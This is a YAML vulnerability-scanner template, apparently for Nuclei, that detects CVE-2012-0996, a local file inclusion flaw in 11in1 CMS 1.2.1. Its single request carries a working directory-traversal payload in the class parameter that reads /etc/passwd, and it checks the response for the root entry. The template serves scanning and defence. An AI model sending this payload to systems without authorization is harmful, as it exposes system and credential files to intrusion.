id: CVE-2012-0996

info:
  name: 11in1 CMS 1.2.1 - Local File Inclusion (LFI)
  author: daffainfo
  severity: medium
  description: Multiple directory traversal vulnerabilities in 11in1 1.2.1 stable 12-31-2011 allow remote attackers to read arbitrary files via a .. (dot dot) in the class parameter to (1) index.php or (2) admin/index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and compromise of the affected system.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/36784
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0996
    - https://www.htbridge.ch/advisory/HTB23071
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-0996
    cwe-id: CWE-22
    epss-score: 0.10059
    epss-percentile: 0.95027
    cpe: cpe:2.3:a:11in1:11in1:1.2.1:stable_12-31-2011:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 11in1
    product: 11in1
  tags: cve,cve2012,lfi,edb,11in1,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?class=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e2c4d71b0120f64a3273cf578605e471e70a77a436d13c71b11d551a8dba7c49022006089fb207965b09992ce23e09091d0d50c376cc73dc267f279113ddef2a1faf:922c64590222798bb761d5b6d8e72950